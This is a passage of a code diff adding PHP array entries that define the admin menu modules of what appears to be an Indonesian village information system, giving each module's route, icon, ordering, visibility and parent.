+ 'aktif' => 1,
+ 'ikon' => 'fa-sitemap',
+ 'urut' => 3,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 200,
+ ],
+ [
+ 'id' => 20,
+ 'modul' => 'Wilayah Administratif',
+ 'url' => 'sid_core/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-map',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 200,
+ ],
+ [
+ 'id' => 21,
+ 'modul' => 'Penduduk',
+ 'url' => 'penduduk/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-user',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 2,
+ ],
+ [
+ 'id' => 22,
+ 'modul' => 'Keluarga',
+ 'url' => 'keluarga/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-users',
+ 'urut' => 3,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 2,
+ ],
+ [
+ 'id' => 23,
+ 'modul' => 'Rumah Tangga',
+ 'url' => 'rtm/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-venus-mars',
+ 'urut' => 4,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 2,
+ ],
+ [
+ 'id' => 24,
+ 'modul' => 'Kelompok',
+ 'url' => 'kelompok/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-sitemap',
+ 'urut' => 5,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 2,
+ ],
+ [
+ 'id' => 25,
+ 'modul' => 'Data Suplemen',
+ 'url' => 'suplemen/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-slideshare',
+ 'urut' => 6,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 2,
+ ],
+ [
+ 'id' => 26,
+ 'modul' => 'Calon Pemilih',
+ 'url' => 'dpt/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-podcast',
+ 'urut' => 7,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 2,
+ ],
+ [
+ 'id' => 27,
+ 'modul' => 'Statistik Kependudukan',
+ 'url' => 'statistik/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-bar-chart',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 3,
+ ],
+ [
+ 'id' => 28,
+ 'modul' => 'Laporan Bulanan',
+ 'url' => 'laporan/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-file-text',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 3,
+ ],
+ [
+ 'id' => 29,
+ 'modul' => 'Laporan Kelompok Rentan',
+ 'url' => 'laporan_rentan/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-wheelchair',
+ 'urut' => 3,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 3,
+ ],
+ [
+ 'id' => 30,
+ 'modul' => 'Pengaturan Surat',
+ 'url' => 'surat_master/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-cog',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 4,
+ ],
+ [
+ 'id' => 31,
+ 'modul' => 'Cetak Surat',
+ 'url' => 'surat',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 4,
+ ],
+ [
+ 'id' => 32,
+ 'modul' => 'Arsip Layanan',
+ 'url' => 'keluar/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-folder-open',
+ 'urut' => 3,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 4,
+ ],
+ [
+ 'id' => 33,
+ 'modul' => 'Panduan',
+ 'url' => 'surat/panduan',
+ 'aktif' => 1,
+ 'ikon' => 'fa fa-book',
+ 'urut' => 4,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 4,
+ ],
+ [
+ 'id' => 39,
+ 'modul' => 'SMS',
+ 'url' => 'sms',
+ 'aktif' => 1,
+ 'ikon' => 'fa-envelope-open-o',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 10,
+ ],
+ [
+ 'id' => 40,
+ 'modul' => 'Daftar Kontak',
+ 'url' => 'sms/kontak',
+ 'aktif' => 1,
+ 'ikon' => 'fa-id-card-o',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 10,
+ ],
+ [
+ 'id' => 41,
+ 'modul' => 'Pengaturan SMS',
+ 'url' => 'sms/setting',
+ 'aktif' => 1,
+ 'ikon' => 'fa-gear',
+ 'urut' => 3,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 10,
+ ],
+ [
+ 'id' => 42,
+ 'modul' => 'Modul',
+ 'url' => 'modul/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-tags',
+ 'urut' => 1,
+ 'level' => 1,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 11,
+ ],
+ [
+ 'id' => 43,
+ 'modul' => 'Aplikasi',
+ 'url' => 'setting',
+ 'aktif' => 1,
+ 'ikon' => 'fa-codepen',
+ 'urut' => 2,
+ 'level' => 1,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 11,
+ ],
+ [
+ 'id' => 44,
+ 'modul' => 'Pengguna',
+ 'url' => 'man_user/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-users',
+ 'urut' => 3,
+ 'level' => 1,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 11,
+ ],
+ [
+ 'id' => 45,
+ 'modul' => 'Database',
+ 'url' => 'database',
+ 'aktif' => 1,
+ 'ikon' => 'fa-database',
+ 'urut' => 4,
+ 'level' => 1,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 11,
+ ],
+ [
+ 'id' => 46,
+ 'modul' => 'Info Sistem',
+ 'url' => 'info_sistem',
+ 'aktif' => 1,
+ 'ikon' => 'fa-server',
+ 'urut' => 5,
+ 'level' => 1,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 11,
+ ],
+ [
+ 'id' => 47,
+ 'modul' => 'Artikel',
+ 'url' => 'web/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-file-movie-o',
+ 'urut' => 1,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 48,
+ 'modul' => 'Widget',
+ 'url' => 'web_widget/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-windows',
+ 'urut' => 2,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 49,
+ 'modul' => 'Menu',
+ 'url' => 'menu/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-bars',
+ 'urut' => 3,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 50,
+ 'modul' => 'Komentar',
+ 'url' => 'komentar/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-comments',
+ 'urut' => 4,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 51,
+ 'modul' => 'Galeri',
+ 'url' => 'gallery/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-image',
+ 'urut' => 5,
+ 'level' => 5,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 52,
+ 'modul' => 'Informasi Publik',
+ 'url' => 'dokumen/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-file-text',
+ 'urut' => 4,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 15,
+ ],
+ [
+ 'id' => 53,
+ 'modul' => 'Media Sosial',
+ 'url' => 'sosmed',
+ 'aktif' => 1,
+ 'ikon' => 'fa-facebook',
+ 'urut' => 7,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 54,
+ 'modul' => 'Slider',
+ 'url' => 'web/slider',
+ 'aktif' => 1,
+ 'ikon' => 'fa-film',
+ 'urut' => 8,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 55,
+ 'modul' => 'Kotak Pesan',
+ 'url' => 'mailbox/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-wechat',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 14,
+ ],
+ [
+ 'id' => 56,
+ 'modul' => 'Pendaftar Layanan Mandiri',
+ 'url' => 'mandiri/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-500px',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 14,
+ ],
+ [
+ 'id' => 57,
+ 'modul' => 'Surat Masuk',
+ 'url' => 'surat_masuk/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-sign-in',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 15,
+ ],
+ [
+ 'id' => 58,
+ 'modul' => 'Surat Keluar',
+ 'url' => 'surat_keluar/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-sign-out',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 15,
+ ],
+ [
+ 'id' => 61,
+ 'modul' => 'Inventaris',
+ 'url' => 'inventaris_tanah',
+ 'aktif' => 1,
+ 'ikon' => 'fa-cubes',
+ 'urut' => 5,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 15,
+ ],
+ [
+ 'id' => 62,
+ 'modul' => 'Peta',
+ 'url' => 'gis/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-globe',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-globe',
+ 'parent' => 9,
+ ],
+ [
+ 'id' => 63,
+ 'modul' => 'Klasfikasi Surat',
+ 'url' => 'klasifikasi/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-code',
+ 'urut' => 10,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-code',
+ 'parent' => 15,
+ ],
+ [
+ 'id' => 64,
+ 'modul' => 'Teks Berjalan',
+ 'url' => 'teks_berjalan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-ellipsis-h',
+ 'urut' => 9,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-ellipsis-h',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 65,
+ 'modul' => 'Kategori',
+ 'url' => 'kategori',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 49,
+ ],
+ [
+ 'id' => 66,
+ 'modul' => 'Log Penduduk',
+ 'url' => 'penduduk_log',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 21,
+ ],
+ [
+ 'id' => 67,
+ 'modul' => 'analisis_kategori',
+ 'url' => 'analisis_kategori',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 68,
+ 'modul' => 'analisis_indikator',
+ 'url' => 'analisis_indikator',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 69,
+ 'modul' => 'analisis_klasifikasi',
+ 'url' => 'analisis_klasifikasi',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 70,
+ 'modul' => 'analisis_periode',
+ 'url' => 'analisis_periode',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 71,
+ 'modul' => 'analisis_respon',
+ 'url' => 'analisis_respon',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 72,
+ 'modul' => 'analisis_laporan',
+ 'url' => 'analisis_laporan',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 73,
+ 'modul' => 'analisis_statistik_jawaban',
+ 'url' => 'analisis_statistik_jawaban',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 75,
+ 'modul' => 'api_inventaris_asset',
+ 'url' => 'api_inventaris_asset',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 76,
+ 'modul' => 'api_inventaris_gedung',
+ 'url' => 'api_inventaris_gedung',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 77,
+ 'modul' => 'api_inventaris_gedung',
+ 'url' => 'api_inventaris_gedung',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 78,
+ 'modul' => 'api_inventaris_jalan',
+ 'url' => 'api_inventaris_jalan',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 79,
+ 'modul' => 'api_inventaris_konstruksi',
+ 'url' => 'api_inventaris_kontruksi',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 80,
+ 'modul' => 'api_inventaris_peralatan',
+ 'url' => 'api_inventaris_peralatan',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 81,
+ 'modul' => 'api_inventaris_tanah',
+ 'url' => 'api_inventaris_tanah',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 82,
+ 'modul' => 'inventaris_asset',
+ 'url' => 'inventaris_asset',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 83,
+ 'modul' => 'inventaris_gedung',
+ 'url' => 'inventaris_gedung',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 84,
+ 'modul' => 'inventaris_jalan',
+ 'url' => 'inventaris_jalan',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 85,
+ 'modul' => 'inventaris_kontruksi',
+ 'url' => 'inventaris_kontruksi',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 86,
+ 'modul' => 'inventaris_peralatan',
+ 'url' => 'inventaris_peralatan',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 87,
+ 'modul' => 'laporan_inventaris',
+ 'url' => 'laporan_inventaris',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 61,
+ ],
+ [
+ 'id' => 88,
+ 'modul' => 'plan',
+ 'url' => 'plan',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 8,
+ ],
+ [
+ 'id' => 89,
+ 'modul' => 'point',
+ 'url' => 'point',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 8,
+ ],
+ [
+ 'id' => 90,
+ 'modul' => 'garis',
+ 'url' => 'garis',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 8,
+ ],
+ [
+ 'id' => 91,
+ 'modul' => 'line',
+ 'url' => 'line',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 8,
+ ],
+ [
+ 'id' => 92,
+ 'modul' => 'area',
+ 'url' => 'area',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 8,
+ ],
+ [
+ 'id' => 93,
+ 'modul' => 'polygon',
+ 'url' => 'polygon',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 8,
+ ],
+ [
+ 'id' => 94,
+ 'modul' => 'Kategori Kelompok',
+ 'url' => 'kelompok_master',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 24,
+ ],
+ [
+ 'id' => 95,
+ 'modul' => 'Produk Hukum',
+ 'url' => 'dokumen_sekretariat/peraturan_desa',
+ 'aktif' => 1,
+ 'ikon' => 'fa-book',
+ 'urut' => 3,
+ 'level' => 2,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 15,
+ ],
+ [
+ 'id' => 96,
+ 'modul' => 'Informasi Publik',
+ 'url' => 'informasi_publik',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 52,
+ ],
+ [
+ 'id' => 97,
+ 'modul' => 'Daftar Persyaratan',
+ 'url' => 'surat_mohon',
+ 'aktif' => 1,
+ 'ikon' => 'fa fa-book',
+ 'urut' => 5,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 4,
+ ],
+ [
+ 'id' => 98,
+ 'modul' => 'Permohonan Surat',
+ 'url' => 'permohonan_surat_admin/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 14,
+ ],
+ [
+ 'id' => 101,
+ 'modul' => 'Status [Desa]',
+ 'url' => 'status_desa',
+ 'aktif' => 1,
+ 'ikon' => 'fa-dot-circle-o',
+ 'urut' => 4,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 200,
+ ],
+ [
+ 'id' => 102,
+ 'modul' => 'Pengaturan Grup',
+ 'url' => 'grup/clear',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 44,
+ ],
+ [
+ 'id' => 110,
+ 'modul' => 'Master Analisis',
+ 'url' => 'analisis_master/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-check-square-o',
+ 'urut' => 1,
+ 'level' => 1,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-check-square-o',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 111,
+ 'modul' => 'Pengaturan',
+ 'url' => 'setting/analisis',
+ 'aktif' => 1,
+ 'ikon' => 'fa-gear',
+ 'urut' => 2,
+ 'level' => 1,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-gear',
+ 'parent' => 5,
+ ],
+ [
+ 'id' => 200,
+ 'modul' => 'Info [Desa]',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-dashboard',
+ 'urut' => 20,
+ 'level' => 2,
+ 'hidden' => 1,
+ 'ikon_kecil' => 'fa fa-home',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 201,
+ 'modul' => 'Keuangan',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-balance-scale',
+ 'urut' => 80,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-balance-scale',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 202,
+ 'modul' => 'Impor Data',
+ 'url' => 'keuangan/impor_data',
+ 'aktif' => 1,
+ 'ikon' => 'fa-cloud-upload',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-cloud-upload',
+ 'parent' => 201,
+ ],
+ [
+ 'id' => 203,
+ 'modul' => 'Laporan',
+ 'url' => 'keuangan/laporan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-bar-chart',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-bar-chart',
+ 'parent' => 201,
+ ],
+ [
+ 'id' => 205,
+ 'modul' => 'Pengunjung',
+ 'url' => 'pengunjung/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-bar-chart',
+ 'urut' => 10,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 206,
+ 'modul' => 'Siaga Covid-19',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-heartbeat',
+ 'urut' => 5,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-heartbeat',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 207,
+ 'modul' => 'Pendataan',
+ 'url' => 'covid19',
+ 'aktif' => 1,
+ 'ikon' => 'fa-list',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-list',
+ 'parent' => 206,
+ ],
+ [
+ 'id' => 208,
+ 'modul' => 'Pemantauan',
+ 'url' => 'covid19/pantau',
+ 'aktif' => 1,
+ 'ikon' => 'fa-check',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-check',
+ 'parent' => 206,
+ ],
+ [
+ 'id' => 209,
+ 'modul' => 'Input Data',
+ 'url' => 'keuangan_manual/manual_apbdes',
+ 'aktif' => 1,
+ 'ikon' => 'fa-keyboard-o',
+ 'urut' => 3,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-keyboard-o',
+ 'parent' => 201,
+ ],
+ [
+ 'id' => 210,
+ 'modul' => 'Laporan Manual',
+ 'url' => 'keuangan_manual/laporan_manual',
+ 'aktif' => 1,
+ 'ikon' => 'fa-bar-chart',
+ 'urut' => 4,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-bar-chart',
+ 'parent' => 201,
+ ],
+ [
+ 'id' => 211,
+ 'modul' => 'Pengaturan',
+ 'url' => 'setting/web',
+ 'aktif' => 1,
+ 'ikon' => 'fa-gear',
+ 'urut' => 11,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-gear',
+ 'parent' => 13,
+ ],
+ [
+ 'id' => 212,
+ 'modul' => 'QR Code',
+ 'url' => 'setting/qrcode/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-qrcode',
+ 'urut' => 6,
+ 'level' => 1,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-qrcode',
+ 'parent' => 11,
+ ],
+ [
+ 'id' => 213,
+ 'modul' => 'data_persil',
+ 'url' => 'data_persil',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => 0,
+ 'level' => 2,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 7,
+ ],
+ [
+ 'id' => 214,
+ 'modul' => 'C-Desa',
+ 'url' => 'cdesa',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 7,
+ ],
+ [
+ 'id' => 220,
+ 'modul' => 'Pembangunan',
+ 'url' => 'admin_pembangunan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-institution',
+ 'urut' => 120,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-institution',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 301,
+ 'modul' => 'Buku Administrasi [Desa]',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-paste',
+ 'urut' => 70,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-paste',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 302,
+ 'modul' => 'Administrasi Umum',
+ 'url' => 'bumindes_umum',
+ 'aktif' => 1,
+ 'ikon' => 'fa-bookmark',
+ 'urut' => 1,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-bookmark',
+ 'parent' => 301,
+ ],
+ [
+ 'id' => 303,
+ 'modul' => 'Administrasi Penduduk',
+ 'url' => 'bumindes_penduduk_induk/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-users',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-users',
+ 'parent' => 301,
+ ],
+ [
+ 'id' => 304,
+ 'modul' => 'Administrasi Keuangan',
+ 'url' => 'bumindes_keuangan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-money',
+ 'urut' => 3,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-money',
+ 'parent' => 301,
+ ],
+ [
+ 'id' => 305,
+ 'modul' => 'Administrasi Pembangunan',
+ 'url' => 'bumindes_rencana_pembangunan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-university',
+ 'urut' => 4,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-university',
+ 'parent' => 301,
+ ],
+ [
+ 'id' => 310,
+ 'modul' => 'Buku Eskpedisi',
+ 'url' => 'ekspedisi/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 302,
+ ],
+ [
+ 'id' => 311,
+ 'modul' => 'Buku Lembaran Dan Berita [Desa]',
+ 'url' => 'lembaran_desa/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 302,
+ ],
+ [
+ 'id' => 312,
+ 'modul' => 'Anjungan',
+ 'url' => 'anjungan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-desktop',
+ 'urut' => 4,
+ 'level' => 2,
+ 'hidden' => 0,
